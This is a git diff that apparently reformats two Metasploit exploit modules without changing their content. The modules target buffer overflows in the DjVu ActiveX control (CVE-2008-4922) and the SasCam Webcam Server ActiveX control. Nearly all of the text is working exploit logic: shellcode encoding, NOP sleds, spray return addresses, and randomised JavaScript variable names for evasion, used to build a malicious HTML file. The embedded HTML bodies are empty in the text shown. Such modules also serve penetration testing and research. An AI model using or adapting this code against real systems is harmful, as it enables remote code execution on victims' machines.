diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 7514a5ac2c..c86b170e30 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -1,105 +1,105 @@ -### -## This file is part of the Metasploit Framework and may be subject to -## redistribution and commercial restrictions. Please see the Metasploit -## Framework web site for more information on licensing and terms of use. -## http://metasploit.com/framework/ -### - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::FILEFORMAT - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow', - 'Description' => %q{ - This module exploits a stack overflow in DjVu ActiveX Component. When sending an - overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0) - an attacker may be able to execute arbitrary code. This control is not marked safe - for scripting, so choose your attack vector accordingly. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], - 'Version' => '$Revision$', - 'References' => - [ +### +## This file is part of the Metasploit Framework and may be subject to +## redistribution and commercial restrictions. Please see the Metasploit +## Framework web site for more information on licensing and terms of use. +## http://metasploit.com/framework/ +### + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in DjVu ActiveX Component. When sending an + overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0) + an attacker may be able to execute arbitrary code. This control is not marked safe + for scripting, so choose your attack vector accordingly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'dean ' ], + 'Version' => '$Revision$', + 'References' => + [ [ 'CVE', '2008-4922' ], [ 'OSVDB', '49592' ], - [ 'BID', '31987' ], - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] - ], - 'DisclosureDate' => 'Oct 30 2008', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), - ], self.class) - end - - def exploit - # Encode the shellcode. - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - - # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) - - # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) - - # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) - - content = %Q| - - - - - | - - content = Rex::Text.randomize_space(content) - - print_status("Creating HTML file ...") - - file_create(content) - end - -end + [ 'BID', '31987' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] + ], + 'DisclosureDate' => 'Oct 30 2008', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), + ], self.class) + end + + def exploit + # Encode the shellcode. + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + + # Create some nops. + nops = Rex::Text.to_unescape(make_nops(4)) + + # Set the return. + ret = Rex::Text.uri_encode([target.ret].pack('L')) + + # Randomize the javascript variable names. + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) + + content = %Q| + + + + + | + + content = Rex::Text.randomize_space(content) + + print_status("Creating HTML file ...") + + file_create(content) + end + +end diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 3a6656b900..cf7e3afe0f 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -1,103 +1,103 @@ -### -## This file is part of the Metasploit Framework and may be subject to -## redistribution and commercial restrictions. Please see the Metasploit -## Framework web site for more information on licensing and terms of use. -## http://metasploit.com/framework/ -### - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::FILEFORMAT - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow', - 'Description' => %q{ - The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow. - By passing an overly long argument via the Get method, a remote attacker could - overflow a buffer and execute arbitrary code on the system with the privileges - of the user. This control is not marked safe for scripting, please choose your - attack vector carefully. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], - 'Version' => '$Revision$', - 'References' => - [ - [ 'BID','33053' ], - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ] - ], - 'DisclosureDate' => 'Dec 29 2008', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), - ], self.class) - end - - def exploit - - # Encode the shellcode. - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - - # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) - - # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) - - content = %Q| - - - - - | - - # create the file - print_status("Creating '#{datastore['FILENAME']}' file ...") - - file_create(content) - - end - -end - +### +## This file is part of the Metasploit Framework and may be subject to +## redistribution and commercial restrictions. Please see the Metasploit +## Framework web site for more information on licensing and terms of use. +## http://metasploit.com/framework/ +### + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow', + 'Description' => %q{ + The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow. + By passing an overly long argument via the Get method, a remote attacker could + overflow a buffer and execute arbitrary code on the system with the privileges + of the user. This control is not marked safe for scripting, please choose your + attack vector carefully. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'dean ' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'BID','33053' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ] + ], + 'DisclosureDate' => 'Dec 29 2008', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), + ], self.class) + end + + def exploit + + # Encode the shellcode. + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + + # Set the return. + ret = Rex::Text.uri_encode([target.ret].pack('L')) + + # Randomize the javascript variable names. + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) + + content = %Q| + + + + + | + + # create the file + print_status("Creating '#{datastore['FILENAME']}' file ...") + + file_create(content) + + end + +end +